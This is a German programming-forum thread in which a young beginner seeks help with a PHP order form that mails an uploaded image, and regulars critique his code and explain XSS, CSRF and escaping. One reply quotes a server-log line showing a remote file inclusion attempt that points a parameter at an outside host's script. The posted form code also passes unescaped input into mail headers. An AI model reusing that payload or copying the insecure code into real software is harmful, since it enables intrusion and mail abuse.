$name = $_POST['name']; $nachname = $_POST['nachname']; $email = $_POST['email']; $ort = $_POST['ort']; $plz = $_POST['plz']; $strasse = $_POST['strasse']; $hausnummer = $_POST['hausnummer']; $produkt = $_POST['produkt']; $produkt2 .= $_POST['produkt2']; $produkt3 .= $_POST['produkt3']; $notiz = $_POST['notiz']; $agb = $_POST['agb']; $datein = $_POST['datein']; /* Was in der E-mail stehen soll */ $body = <<<EOD <br><hr><br> Name: $name <br> Nachname: $nachname <br> Email: $email <br> Ort: $ort<br> PLZ: $plz <br> Strasse: $strasse <br> Hausnummer: $hausnummer <br> Produkt1: $produkt <br> Produkt2: $produkt2 <br> Produkt3: $produkt3 <br> Notzi: $notiz <br> AGB: $agb <br> Datein: $datein <br> EOD;
if(isset($_POST['submit'])) { $dateityp = GetImageSize($_FILES['datei']['tmp_name']); if($dateityp[2] != 0) { $text=$_FILES['datei']['name']; // Umlaute entfernen $umlaute = Array("/ä/","/ö/","/ü/","/Ä/","/Ö/","/Ü/","/ß/"); $replace = Array("ae","oe","ue","Ae","Oe","Ue","ss"); $text_neu = preg_replace($umlaute, $replace, $text);
// Dateiname wird erstellt $text = $text_neu; $datname=time(); $datname.=$text;
if($_FILES['datei']['size'] < 4096000) { $empfaenger = "$webmaster"; // Empfänger E-Mail Adresse $betreff = "Bestellung von $nachname" ;// Betreff
$dateiname = "bild.gif"; // Dateiname $dateiname_mail = "anhang.gif";
$id = md5(uniqid(time())); $dateiinhalt = fread(fopen($dateiname, "r"), filesize($dateiname));
// Absender Name und E-Mail Adresse $kopf = "From: $name, $nachname <$email>\n"; $kopf .= "MIME-Version: 1.0\n"; $kopf .= "Content-Type: multipart/mixed; boundary=$id\n\n"; $kopf .= "This is a multi-part message in MIME format\n"; $kopf .= "--$id\n"; $kopf .= "Content-Type: text/plain\n"; $kopf .= "Content-Transfer-Encoding: 8bit\n\n"; $kopf .= "Bestellung von $name"; // Inhalt der E-Mail (Body) $kopf .= "\n--$id"; // Content-Type: image/gif, image/jpeg, image/png » MIME-Typen - selfHtml.org $kopf .= "\nContent-Type: image/gif; name=$dateiname_mail\n"; $kopf .= "Content-Transfer-Encoding: base64\n"; $kopf .= "Content-Disposition: attachment; filename=$dateiname_mail\n\n"; $kopf .= chunk_split(base64_encode($dateiinhalt)); $kopf .= "\n--$id--";
}
else { echo "Das Bild darf nicht größer als 4 MB sein "; }
}
else { echo "Bitte nur Bilder im Gif bzw. jpg Format hochladen"; }
}
$headers = "From: $email\r\n"; $headers .= "Content-type: text/html\r\n"; $headers = mail($webmaster, $emailBetreff, $body, $headers, $kopf); /* Antwort*/ echo "Deine Bestellung wurde erfolgreich versendet. Vielen Dank!";
?>
?> |
Danke schon mal fürs durchlesen und naja ich hoffe ihr (könnt mir helfen) helft mir
mfg storestore# |
also wie sieht es damit aus
Horschdware - Mi 24.08.11 17:06
Wie oft willst du noch deinen kompletten Code posten ohne selbst zu überlegen, wo denn der Fehler sein könnte?
Schau mal: Du hast zwei mal ein feld für die Kopfdaten der E-Mail. Einmal auf englisch ($headers) und einmal auf Deutsch ($Kopf). Warum?
In einem der beiden ist deine E-Mail eine HTML-E-Mail, im anderen Header ist sie ein mixed type, der eine Text-Mail, sowie einen Anhang verwendet. Was von beidem darfs denn nun sein?
Dann würde ich mir weiter einmal überlegen, was ich nun mit dem Dateianhang mache, den ich eben per Formular übermittelt bekommen habe? Willst du das nun auf dem Server speichern, vom Dateisystem auf dem Server laden oder direkt weiterverarbeiten?
Zitat: |
$headers = mail($webmaster, $emailBetreff, $body, $headers, $kopf); |
Hat es einen besonderen Grund, dass du den Rückgabewert der mail-Funktion in das Feld schreibst, in dem eben deine Header standen?
edit: typo
storestore - Mi 24.08.11 17:19
Er soll mir einfach eine e-mail mit dem Bild als anhang schicken
BenBE - Mi 24.08.11 17:20
Stell das in die Job-Börse mit nem vernünftigen Preis und du hast in 0,nix dein funktionierendes Script.
Dude566 - Mi 24.08.11 17:52
Das habe ich ihm auch schon mal gesagt, will er scheinbar nicht.
storestore - Mi 24.08.11 19:35
BenBE hat folgendes geschrieben : |
Stell das in die Job-Börse mit nem vernünftigen Preis und du hast in 0,nix dein funktionierendes Script. |
Ich will kein Geld für irrgend ein Programmierer geben, während ich hier in einem Programmier-forum bin wo mir leute für umsonst helfen könnten. Ich verstehe nicht wo das Problem ist. Ich will nur das mir jemand sagt ob der genannt code richtig ist oder was daran flasch ist. Aber das ständige mach ein Antrag für die jobbörse oder ver.... mich mit brain.exe.
Naja, das ist nicht direkt das was ich mir erwarte. Und ob ich jetzt die Grundlagen kann ist doch für euch uninteressant. Ich möchte doch einfach nur wissen was flasch ist und wie man das richtig macht.
Naja. Was will man machen :nixweiss: :( :cry:
Dude566 - Mi 24.08.11 19:45
Den meisten hier geht es aber wohl so, dass sie niemandem alles vorkauen wollen, wenn er selbst kaum bis keine Eigeninitiative zeigt. :roll:
Zu den Grundlagen: Wenn du dich damit beschäftigt hättest, was längst hätte passieren können, dann könntest du deinen Code auch selbst auf Fehler checken und bei konkreten Problemen hier fragen. :wink:
storestore - Mi 24.08.11 20:08
Hallo,
naja bin erst 13 und damit recht jung um das ganze gescheit zu verstehen. Aber ich habe mir ja schon Bücher über php geholt aber den code brauche ich wegen Persönlichen gründen jetzt schon. Und so schnell lernt man nicht die Grundlagen. Und dann
(*Schnief*)erwartet man hilfe (*Schnief*) in einem Forum und dann kommt sowas wie brain.exe :( :lol: :cry: :bawling:
Teekeks - Mi 24.08.11 20:36
So, nun reichts mir (ich hab mich ja eigentlich deswegen extra immer aus diesen Themen raus gehalten)...
Ich übersetze noch einmal, dieses mal aber was DU geschrieben hast:
"Ich habe keine Lust mich damit zu beschäftigen weil hier ja Leute sind die das schnell mal für mich machen könnten. Aber Geld will ich ja nicht ausgeben, weil ja auch anderen umsonst geholfen wird. Aber alle sind ganz gemein zu mir und wollen das nicht machen. Also bettel ich halt noch etwas Rum"
Und sage jetzt bitte nicht das dass nicht genau das ist, was du hier gerade abziehst.
Horschdware - Mi 24.08.11 20:57
Au weia,
ich glaube, du hast den Sinn des Forums missverstanden. Das funktioniert hier nicht so, dass andere dir deine Programme schreiben, sondern Hilfe zur Selbsthilfe geben.
Verfolge doch nochmal bitte diesen Thread von Anfang an:
Dir wurde erklärt, dass es Sicherheitslücken gibt mit Verweis auf XSS und CSRF. Hast du dich inzwischen schlau gemacht, was das überhaupt ist? Hast du eine konkrete Frage gestellt, an welcher Stelle XSS und CSRF in deinem Beispielcoding zum Tragen kommen?
Ich habe in meinem letzten Posting deine $header/$Kopf-Gescichte angesprochen. Hast du dir Gedanken darüber gemacht, was daran falsch sein könnte? Hast du hier im Forum erklärt, was deine Überlegung war, als du das so geschrieben hast, wie du es eben getan hast?
Ebenso die Sache mit dem Rückgabewert der Mail-Funktion. Hast du dich damit auseinandergesetzt?
Vor Kurzem gab es hier einen Thread, da wollte der TE partout auch keine Eigeninitiative zeigen. Du schlägst gerade exakt den selben Weg ein und machst dir damit nur selbst Probleme.
Also nochmal der Versuch: Hilfe zur Selbsthilfe. Relevantes ist markiert, jetzt bist du dran. Denke selbst nach, recherchiere und stelle hier konkrete Fragen. Bei weiteren unkommentierten und unreflektierten Quellcode-Posts oder Beiträgen Marke "schreibt mir das, ich kann/will es nicht selbst machen" landest du sicherlich schnell auf den "ignore"-Listen der User.
Quelltext
1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16: 17: 18: 19: 20: 21: 22: 23: 24: 25: 26: 27: 28: 29: 30: 31: 32: 33: 34: 35: 36: 37: 38: 39: 40: 41: 42: 43: 44: 45: 46: 47: 48: 49: 50: 51: 52: 53: 54: 55: 56: 57: 58: 59: 60: 61: 62: 63: 64: 65: 66: 67: 68: 69: 70: 71: 72: 73: 74: 75: 76: 77: 78: 79: 80: 81: 82: 83: 84: 85: 86: 87: 88: 89: 90: 91: 92: 93: 94: 95: 96: 97: 98: 99: 100: 101: 102: 103: 104: 105: 106: 107: 108: 109: 110: 111: 112: 113: 114: 115: 116: 117: 118: 119:
| // Der Freundlichkeit halber ein bisschen sinnvoller eingerückt. Das hättest du auch selbst tun können.... <?php /* Betreffen und Email Variable */ $emailBetreff = 'Bestellung'; $webmaster = 'storestore@web.de'; /* Emailforen Daten*/
// ACHTUNG! $name = $_POST['name']; $nachname = $_POST['nachname']; $email = $_POST['email']; $ort = $_POST['ort']; $plz = $_POST['plz']; $strasse = $_POST['strasse']; $hausnummer = $_POST['hausnummer']; $produkt = $_POST['produkt']; $produkt2 .= $_POST['produkt2']; $produkt3 .= $_POST['produkt3']; $notiz = $_POST['notiz']; $agb = $_POST['agb']; $datein = $_POST['datein']; /* Was in der E-mail stehen soll */ $body = <<<EOD <br><hr><br> Name: $name <br> Nachname: $nachname <br> Email: $email <br> Ort: $ort<br> PLZ: $plz <br> Strasse: $strasse <br> Hausnummer: $hausnummer <br> Produkt1: $produkt <br> Produkt2: $produkt2 <br> Produkt3: $produkt3 <br> Notzi: $notiz <br> AGB: $agb <br> Datein: $datein <br> EOD;
if(isset($_POST['submit'])) // ist das nicht sowieso gesetzt? { $dateityp = GetImageSize($_FILES['datei']['tmp_name']); if($dateityp[2] != 0) { // Welchen Sinn macht das hier? $text=$_FILES['datei']['name']; // Umlaute entfernen $umlaute = Array("/ä/","/ö/","/ü/","/Ä/","/Ö/","/Ü/","/ß/"); $replace = Array("ae","oe","ue","Ae","Oe","Ue","ss"); $text_neu = preg_replace($umlaute, $replace, $text);
// Dateiname wird erstellt $text = $text_neu; $datname=time(); $datname.=$text;
if($_FILES['datei']['size'] < 4096000) { $empfaenger = "$webmaster"; // Empfänger E-Mail Adresse $betreff = "Bestellung von $nachname" ;// Betreff
$dateiname = "bild.gif"; // Dateiname $dateiname_mail = "anhang.gif";
$id = md5(uniqid(time())); $dateiinhalt = fread(fopen($dateiname, "r"), filesize($dateiname)); // Wo soll diese Datei sein?
// Absender Name und E-Mail Adresse $kopf = "From: $name, $nachname <$email>\n"; $kopf .= "MIME-Version: 1.0\n"; $kopf .= "Content-Type: multipart/mixed; boundary=$id\n\n"; $kopf .= "This is a multi-part message in MIME format\n"; $kopf .= "--$id\n"; $kopf .= "Content-Type: text/plain\n"; $kopf .= "Content-Transfer-Encoding: 8bit\n\n"; $kopf .= "Bestellung von $name"; // Inhalt der E-Mail (Body) $kopf .= "\n--$id"; // Content-Type: image/gif, image/jpeg, image/png » MIME-Typen - selfHtml.org $kopf .= "\nContent-Type: image/gif; name=$dateiname_mail\n"; $kopf .= "Content-Transfer-Encoding: base64\n"; $kopf .= "Content-Disposition: attachment; filename=$dateiname_mail\n\n"; $kopf .= chunk_split(base64_encode($dateiinhalt)); $kopf .= "\n--$id--";
}
else { echo "Das Bild darf nicht größer als 4 MB sein "; }
} else { echo "Bitte nur Bilder im Gif bzw. jpg Format hochladen"; // Das widerspricht deiner Abfrage oben, da du dort prüfst ob es überhaupt ein Bild ist ( <> 0) }
}
$headers = "From: $email\r\n"; $headers .= "Content-type: text/html\r\n"; $headers = mail($webmaster, $emailBetreff, $body, $headers, $kopf); /* Antwort*/ echo "Deine Bestellung wurde erfolgreich versendet. Vielen Dank!"; // Diese Meldung kommt immer - selbst im Fehlerfall
?>
?> |
Das mal als Einstieg für weitere Überlegungen.
Im Übrigen möchte ich dir auch nochmal DRINGEND dazu raten, die Grundlagen zu lernen, da du hier sonst nur an Symptomen herumdoktoren wirst, ohne zu verstehen wo überhaupt das Problem liegt und ohne zu einem sinnvollen und brauchbaren Ergebnis zu kommen.
edit: Welchen Editor nutzt du nun eigentlich?
storestore - Mi 24.08.11 23:33
Dreamweaver und webocton.
Ich hasse das zu sagen aber ihr habt recht. :cry: Ich muss mir selber helfen. Sorry wegen alles. Ich bin jetzt dabei mich im Internet zu imformieren wie ich eine E-mail mit Anhang versende;) Danke für bringen auf (hoffentlich) den richtigen
Weg;)
XSS: Das einschleusen von gemeinen Java-scripten in die URL
CSRF: Es wird ein sogennanter Request eingeschoben. Dieser füht eine bestimmte aktion beim aufrufen der Webanwendung aus. Dieser Request gibt dem Bösen buben (Programmierer) daten zurück.
Ich habe das nirgends rauskopiert. Sonder ich habe mich INFORMIERT (*stolz sei*) :les:
Also alles was der Benutzer eingeben kann kann für mich gefährlich werden. Na super und ich habe ein Kontaktformular .,.
Hmmm wie kann ich mich dagegen am besten schützen, denn ich kann den Benutzer ja nicht verbieten ins Kontaktformular was reinzuschreiben. Aber wenn ich die ausgaben sprich name usw. in einen array (*Brainstorming*)
Habt ihr noch mehr Tipps
bitte
mfg storestore
BenBE - Do 25.08.11 01:34
storestore hat folgendes geschrieben : |
BenBE hat folgendes geschrieben : | Stell das in die Job-Börse mit nem vernünftigen Preis und du hast in 0,nix dein funktionierendes Script. |
Ich will kein Geld für irrgend ein Programmierer geben, |
Ich bin nicht "irrgend ein Programmierer", mal ganz davon abgesehen, dass irgend ein nicht von irre abstammt; sonst müsste ich mich beleidigt fühlen.
storestore hat folgendes geschrieben : |
während ich hier in einem Programmier-forum bin wo mir leute für umsonst helfen könnten. |
Es gibt einen wichtigen Unterschied zwischen kostenlos und umsonst. Aber gut: Du hast das korrekte von beiden bereits verwendet. GZ!
storestore hat folgendes geschrieben : |
Ich verstehe nicht wo das Problem ist. |
HPMoR: Hmmm, Problempersonen scheinen kein Eigenbewusstsein zu besitzen. Und ja, ich weiß, dass das sehr viel Confirmation Bias hat! :mrgreen:
storestore hat folgendes geschrieben : |
Ich will nur das mir jemand sagt ob der genannt code richtig ist |
Nein
storestore hat folgendes geschrieben : |
oder was daran flasch ist. |
Er hat oben genannte Sicherheitsprobleme.
storestore hat folgendes geschrieben : |
Aber das ständige mach ein Antrag für die jobbörse oder ver.... mich mit brain.exe. |
Sorry, aber für die Lösung via "Selbstständig das Problem eingrenzen" fehlt es Dir eindeutig an Eigeninitiative. Und glaub mir: Der Altruismus vieler Mitglieder hier hat durchaus ein Ende, wie man an gewissen Hühnchen gemerkt hat, die hier letztens gerupft wurden. Es ist einfach eine der Umgangsformen, die erwartet werden, dass man selbstständig arbeitet und selber nach Problemen sucht, um dann gezielt zu fragen, wo es scheitert.
storestore hat folgendes geschrieben : |
Naja, das ist nicht direkt das was ich mir erwarte. |
Was dann?
storestore hat folgendes geschrieben : |
Und ob ich jetzt die Grundlagen kann ist doch für euch uninteressant. |
Eben nicht. Weil es durchaus einen Unterschied macht, ob ich jemandem vom Fach etwas erkläre, oder einem Einsteiger. Letzterer macht potentiell mehr Arbeit, die ich aber auch gut investiert gewusst haben will.
storestore hat folgendes geschrieben : |
Ich möchte doch einfach nur wissen was flasch ist und wie man das richtig macht. |
Ich habe 2 Links gepostet, die die in deinem Code vorhandenen Fehler aus sicherheitstechnischer Sicht beschreiben. Das Gelesene dann auf deinen Source anzuwenden, sollte nicht so schwierig sein. Ich hab den Fehler beim Überfliegen in 5 Sekunden gesehen; ihn einfach zu nennen bringt aber vom Lerneffekt für dich gar nix, wenn Du den Hintergrund nicht verstehst/verstehen willst.
storestore hat folgendes geschrieben : |
Naja. Was will man machen :nixweiss: :( :cry: |
Sich hinsetzen die Hinweise sich angucken, überdenken und selbstständig anhand dieser Hinweise versuchen die Lösung zu finden. Wenn Du auf dem Weg zur Lösung irgendwo noch mal hängen bleibst, rupft dich keiner, wenn Du aber am Start stehen bleibst und wartest, dass du im Ziel ankommst, weil dich irgendwelche Programmiersklaven dorthin getragen haben, dann sieht es recht düster aus.
Dude566 hat folgendes geschrieben : |
Den meisten hier geht es aber wohl so, dass sie niemandem alles vorkauen wollen, wenn er selbst kaum bis keine Eigeninitiative zeigt. :roll: |
Korrekt erkannt. Ich kann meine Zeit sinnvoller verschwenden.
Dude566 hat folgendes geschrieben : |
Zu den Grundlagen: Wenn du dich damit beschäftigt hättest, was längst hätte passieren können, dann könntest du deinen Code auch selbst auf Fehler checken und bei konkreten Problemen hier fragen. :wink: |
Korrekt. Bzw. hättest Du die schon lange gefunden und behoben. Grad PHPEdit hat da sowas Seltsames, nennt sich glaube "Debugger". Das hilft einem, Fehler zu finden. Muss man nur nutzen ;-)
storestore hat folgendes geschrieben : |
Hallo,
naja bin erst 13 |
Hab mit 6 angefangen die ersten Programme zu verändern; richtig programmiert mit 11. Alles autodidaktisch ...
storestore hat folgendes geschrieben : |
und damit recht jung um |
Lass mich nicht heulen. Mein Vorrat an Mitleid ist grad aus. :twisted:
storestore hat folgendes geschrieben : |
das ganze gescheit zu verstehen. |
Eigene Web-Programmierung mit 9. Nein, ich glaub, ich muss Dir widersprechen.
storestore hat folgendes geschrieben : |
Aber ich habe mir ja schon Bücher über php geholt |
[X] Geholt
[ ] Gelesen
[ ] Verstanden
storestore hat folgendes geschrieben : |
aber den code brauche ich wegen Persönlichen gründen jetzt schon. |
Dagegen sagt ja keiner was. Aber wenn Du von uns eine Leistung erwartest ("Hilfe"), dann möchten wir dafür eine Gegenleistung ("Selbstständige Mitarbeit"). Alternativ wäre "Job-Angebot" gegen "Geld" auch eine Alternative. Leider können wir uns auf beides nicht einigen. Glaube nicht unser Problem: Es gibt genug andere, die damit einverstanden sind.
storestore hat folgendes geschrieben : |
Und so schnell lernt man nicht die Grundlagen. |
Halbes Jahr (eigene Erfahrung). IIRC bist Du (unter storestore und 12profi) hier schon länger als 6 Monate dabei. Und um's mal ganz gemein zu machen: Ich hab nem Kumpel mal das Programmieren in 4 Stunden an einem Wochenende beigebracht.
storestore hat folgendes geschrieben : |
Und dann
(*Schnief*)erwartet man hilfe (*Schnief*) in einem Forum und dann kommt sowas wie brain.exe :( :lol: :cry: :bawling: |
In der Hinsicht bin ich sehr direkt; aber wenn man sich deine Threads im Zusammenhang einmal anschaut, dann kann man leicht den Eindruck bekommen, dass Du genau eben das geforderte ("selber mitdenken") nicht tust. Und daher hab ich mich auch bewusst zurückgehalten, weil die Kommentare sonst zu bissig geworden wären.
Teekeks hat folgendes geschrieben : |
So, nun reichts mir (ich hab mich ja eigentlich deswegen extra immer aus diesen Themen raus gehalten)... |
Ui, Einigkeit bei einem Punkt. Oh, welch Wunder! :twisted:
Teekeks hat folgendes geschrieben : |
Ich übersetze noch einmal, dieses mal aber was DU geschrieben hast:
"Ich habe keine Lust mich damit zu beschäftigen weil hier ja Leute sind die das schnell mal für mich machen könnten. Aber Geld will ich ja nicht ausgeben, weil ja auch anderen umsonst geholfen wird. Aber alle sind ganz gemein zu mir und wollen das nicht machen. Also bettel ich halt noch etwas Rum"
Und sage jetzt bitte nicht das dass nicht genau das ist, was du hier gerade abziehst. |
Amtliche Teekeks-Übersetzung unterschreib ich so ;-)
storestore hat folgendes geschrieben : |
Dreamweaver und webocton. |
Und warum nicht, wie empfohlen PHPEdit mit integriertem PHP-Debugger?
storestore hat folgendes geschrieben : |
Ich hasse das zu sagen aber ihr habt recht. :cry: |
Danke.
storestore hat folgendes geschrieben : |
Ich muss mir selber helfen. |
Nein, du musst eigenständiger werden und Eigeninitiative zeigen. Dann bekommst Du auch von anderen Unterstützung.
storestore hat folgendes geschrieben : |
Sorry wegen alles. |
Die deutsche Rechtschreibung ist Freeware, du darfst sie kostenlos nutzen Aber sie ist nicht Open Source, d. h. du darfst sie nicht verändern oder in veränderter Form veröffentlichen. [
http://www.duden.de/]
storestore hat folgendes geschrieben : |
Ich bin jetzt dabei mich im Internet zu imformieren wie ich eine E-mail mit Anhang versende;) |
Hatte dazu ja auch schon was geschrieben. Also wie das geht. Gibt für PHP da auch schon fertige Module, die einen da unterstützen. Ohne das Prinzip verstanden zu haben, bringt dir Copy&Paste aber rein gar nix.
storestore hat folgendes geschrieben : |
Danke für bringen auf (hoffentlich) den richtigen
Weg;) |
Gern geschehen. Hoffen wir, es war nachhaltig.
storestore hat folgendes geschrieben : |
XSS: Das einschleusen von gemeinen Java-scripten in die URL |
Nicht ganz. Das unterbringen von kontext-fremden Daten, diee fehlinterpretiert werden. Oftmals zum Einschleusen von Scripten missbraucht.
storestore hat folgendes geschrieben : |
CSRF: Es wird ein sogennanter Request eingeschoben. Dieser füht eine bestimmte aktion beim aufrufen der Webanwendung aus. Dieser Request gibt dem Bösen buben (Programmierer) daten zurück. |
Ja, aber auch noch nicht ganz. Aktionen in einer Web-Anwendung auslösen können, ohne dass ich dafür den vorherigen Status dieser kennen muss. Im Zusammenhang mit deinem Kontakt-Formular könnt ich das zum Bombardieren mit Emails missbrauchen.
storestore hat folgendes geschrieben : |
Ich habe das nirgends rauskopiert. Sonder ich habe mich INFORMIERT (*stolz sei*) :les: |
GZ.
storestore hat folgendes geschrieben : |
Also alles was der Benutzer eingeben kann kann für mich gefährlich werden. |
That's life ;-) Und glaub mir, das ist täglich brot:
Hier mal ein Beispiel für RFI:
Meine Server-Logs: |
[23/Aug/2011:18:00:15 +0200] domain.tld:80 127.1.2.3 - - - HTTP/1.0 GET /var/www/virtual/domain.tld/htdocs/news.php 200 200 35595 Req="GET /news.php?id=http://very.evil.ru/evil.txt?index.php HTTP/1.0" Referer="http://domain.tld/highlighter/news.php?id=http://very.evil.ru/evil.txt?index.php" Agent="Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" SVN="-" SSL="- - -" |
Und da hab ich grad nicht lange gesucht ... (Funktioniert übrigens auf meinem Server nicht)
storestore hat folgendes geschrieben : |
Na super und ich habe ein Kontaktformular .,. |
Jetzt auch klar, warum wir ERST die Security ansprechen und dann die anderen Fehler, die noch so enthalten sind? Gut!
storestore hat folgendes geschrieben : |
Hmmm wie kann ich mich dagegen am besten schützen, denn ich kann den Benutzer ja nicht verbieten ins Kontaktformular was reinzuschreiben. Aber wenn ich die ausgaben sprich name usw. in einen array (*Brainstorming*)
Habt ihr noch mehr Tipps
bitte
mfg storestore |
In der Regel hilft zur Absicherung das Escaping von Meta-Zeichen. Dafür gibt es in PHP eine ganze Reihe von Funktionen. In deinem Fall musst du die Meta-Zeichen von HTML unwirksam machen. Den Namen der hierfür benötigten Funktion findet man recht leicht in der PHP-Doku.
Gruß,
BenBE.
storestore - Do 25.08.11 01:48
Hi, ok danke ähh wegen den HTML codes ich glaube du meinst: htmlentities oder htmlspecialchars ,nee ;)
Hmm bin gerade dabei sicherheit einzubauen. Schwer, schwer.
Darf ich trotz allem wenn ich wieder Probleme habe hier anfragen ?
BenBE - Do 25.08.11 01:55
storestore hat folgendes geschrieben : |
Hi, ok danke ähh wegen den HTML codes ich glaube du meinst: htmlentities oder htmlspecialchars ,nee ;) |
Konkret wäre hier
htmlspecialchars die richtige Entscheidung.
storestore hat folgendes geschrieben : |
Hmm bin gerade dabei sicherheit einzubauen. Schwer, schwer. |
Jup. Und das sind so eher die alltäglichen Lücken.
storestore hat folgendes geschrieben : |
Darf ich trotz allem wenn ich wieder Probleme habe hier anfragen ? |
Ja, gerne. Wichtig ist nur der Punkt Eigeninitiative.
storestore - Do 25.08.11 11:07
Hallo,
ich bin noch dabei es zu programmieren, aber was würde sowas in der Jobbörse den Kosten?
mfg storestore
thepaine91 - Do 25.08.11 11:16
Also bei mir 30€. ^^
Teekeks - Do 25.08.11 11:20
Das kommt darauf an was du dafür geben möchtest.
Und ob sich dann jemand findet der das dafür macht :)
BenBE - Do 25.08.11 12:28
Wenn Du dich für Hosting bei mir entscheidest, gäb's das Ganze bei mir für etwa 20 Euro zzgl. Hosting.
thepaine91 - Do 25.08.11 13:10
Man man heut zu tage kann man nicht mal zu viel Geld verlangen für einfache Aufträge weil andere das ganze günstiger machen ^^
Horschdware - Do 25.08.11 13:18
Das nennt sich Lohndumping. Willkommen in der Realität :-D
thepaine91 - Do 25.08.11 13:27
Und ich hab mich immer gefragt warum ich die Realität zum :puke: finde.
Teekeks - Do 25.08.11 13:38
thepaine91 hat folgendes geschrieben : |
Und ich hab mich immer gefragt warum ich die Realität zum :puke: finde. |
Wegen dem Brechmittel welches in jeder deiner Mahlzeiten ist natürlich! ;)
elundril - Do 25.08.11 15:44
thepaine91 hat folgendes geschrieben : |
Und ich hab mich immer gefragt warum ich die Realität zum :puke: finde. |
Das ist der Grund warum ich in meiner eigenen Realität lebe. :mrgreen:
storestore - Do 25.08.11 17:08
Ok,danke für die info
storestore - Fr 26.08.11 00:41
Hi,
ich habe jetzt im internet gesucht und das hier gefunden
http://www.php-einfach.de/codeschnipsel_1114.php
Das interresante für mich aber war das mit dem Datei-upload. Der code ist noch sehr "Gefärhlich" und nicht geschützt, aber das bin ich noch am bearbeiten. Das hauptsächliche Problem ist aber das keine e-mail ankommt. Alles richtig ausgefüllt auch eine "function mail_att" eingefügt, weil er gemekert hat aber jetzt, kommt keine Mail an. Bevor ich die function mail_att eingfügt habe kam auch keine an. Also das liegt nicht daran. Ich habe jetzt schon 1-2 tage gesucht und gesucht und gesucht aber leider finde ich keine hilfe. Könnt ihr mir bitte helfen?
mfg storestore
Dude566 - Fr 26.08.11 00:50
Und wir sollen jetzt raten wie dein Code aussieht? :roll:
storestore - Fr 26.08.11 00:53
Dude566 hat folgendes geschrieben : |
Und wir sollen jetzt raten wie dein Code aussieht? :roll: |
Nein natürlich nicht sorry. Der code ist aber noch ohne sicherheit:
Quelltext
1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16: 17: 18:
| <form enctype="multipart/form-data" action="t.php" method="POST">
Choose a file to upload: <input name="uploadedfile" type="file" /> <input type="submit" value="Upload File" /> </form> <?php function mail_att($to,$subject,$message,$anhang) { $to= "storestore@web.de"; $anhang = array(); $anhang["name"] = $_FILES['datei_feld']['name']; $anhang["size"] = $_FILES['datei_feld']['size']; $anhang["type"] = $_FILES['datei_feld']['type']; $anhang["data"] = implode("",file($_FILES['datei_feld']['tmp_name']));
mail_att("storestore@web.de","Email mit Anhang","Im Anhang ist eine Datei",$anhang); } ?> |
Ich habe es so gemacht wie beschrieben
Dude566 - Fr 26.08.11 01:06
Wenn sich meine müden Augen gerade nicht vergucken, rufst du die Funktion in sich selbst auf, ist das so beabsichtigt?
storestore - Fr 26.08.11 01:13
Dude566 hat folgendes geschrieben : |
Wenn sich meine müden Augen gerade nicht vergucken, rufst du die Funktion in sich selbst auf, ist das so beabsichtigt? |
Ohh sorry falscher code :oops:
Quelltext
1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16:
| Choose a file to upload: <input name="uploadedfile" type="file" /> <input type="submit" value="Upload File" />
<?php function mail_att($to,$subject,$message,$anhang) { $to= "storestore@web.de"; $anhang = array(); $anhang["name"] = $_FILES['datei_feld']['name']; $anhang["size"] = $_FILES['datei_feld']['size']; $anhang["type"] = $_FILES['datei_feld']['type']; $anhang["data"] = implode("",file($_FILES['datei_feld']['tmp_name']));
mail_att("storestore@web.de","Email mit Anhang","Im Anhang ist eine Datei",$anhang); } ?> |
Ohh verdamt du hast recht :autsch: :autsch: :autsch:
Sorry für den dobblepost aber sonst wierd es zuviel in einem Beitrag;)
Dude566 - Fr 26.08.11 01:34
Da ist trotzdem noch der Fehler, hast du denn verstanden was ich gemeint habe?
Gausi - Fr 26.08.11 08:14
Hast du denn den von dir verlinkten Beitrag gelesen? Da steht doch die Funktion mail_att, und wie sie auszusehen hat. Warum hast du die denn komplett weggelassen?
storestore - Fr 26.08.11 08:35
Gausi hat folgendes geschrieben : |
Hast du denn den von dir verlinkten Beitrag gelesen? Da steht doch die Funktion mail_att, und wie sie auszusehen hat. Warum hast du die denn komplett weggelassen? |
meinst du das function mail_att($to,$subject,$message,$anhang).
Das habe ich doch oder nicht, moment ...
...doch das habe ich. Tut mir leide ich habe alles gut geprüft verstehe aber nicht vor der fehler sein sollte.
Sorry aber ich habe es jetzt mal echt geprüft. Ich saß locker bis 1.30 uhr in der früh dran.
storestore - Sa 27.08.11 12:22
*Push*
Delete - Sa 27.08.11 13:10
Du scheinst dich immer noch nicht ansatzweise mit den Grundlagen beschäftigt zu haben. Trotzdem hier mal ein Stichwort, um den lustigsten Thread seit langem am Leben zu erhalten:
http://de.wikipedia.org/wiki/Rekursion
Viel Spaß!
Horschdware - Sa 27.08.11 18:41
Oh je, lass das bitte mit diesem Swiftmailer. Versuche es doch erst einmal mit den zur Verfügung stehenden Hausmitteln. Eine Anleitung dazu hast du eh schon gepostet.
Versuche doch erst einmal die einfachen Sachen, bevor du dich an irgendwelche speziellen Zusatzklassen in die Hand nimmst.
storestore - Sa 27.08.11 18:46
Horschdware hat folgendes geschrieben : |
Oh je, lass das bitte mit diesem Swiftmailer. Versuche es doch erst einmal mit den zur Verfügung stehenden Hausmitteln. Eine Anleitung dazu hast du eh schon gepostet.
Versuche doch erst einmal die einfachen Sachen, bevor du dich an irgendwelche speziellen Zusatzklassen in die Hand nimmst. |
Es hieß mit swiftmailer ist es einfacher
Yogu - Sa 27.08.11 18:49
Horschdware hat folgendes geschrieben : |
Oh je, lass das bitte mit diesem Swiftmailer. Versuche es doch erst einmal mit den zur Verfügung stehenden Hausmitteln. Eine Anleitung dazu hast du eh schon gepostet. |
Ich kenne Swiftmailer nicht, aber wenn du das allgemein meinst, muss ich dir widersprechen. Die
mail-Funktion von PHP ist, vor allem, wenn man Anhänge verwenden will, ganz sicher kein Einsteigerprojekt. Es ist besser, eine schön geschriebene Klasse mit einfachen Methoden zu verwenden und dabei dann im Idealfall auch noch jedes selbst geschriebene Wort zu verstehen, als den Mail-Standard von Hand zu implementieren.
Horschdware hat folgendes geschrieben : |
Versuche doch erst einmal die einfachen Sachen, bevor du dich an irgendwelche speziellen Zusatzklassen in die Hand nimmst. |
Und
einfach ist garantiert keine richtige Beschreibung von
mail. Ich habe da schon etliche Stunden reininvestiert, um Anhänge, Zeichenkodierungen und HTML-Mails zu erstellen. Sicherlich wäre es da sinnvoller gewesen, gleich eine Wrapper-Klasse zu verwenden.
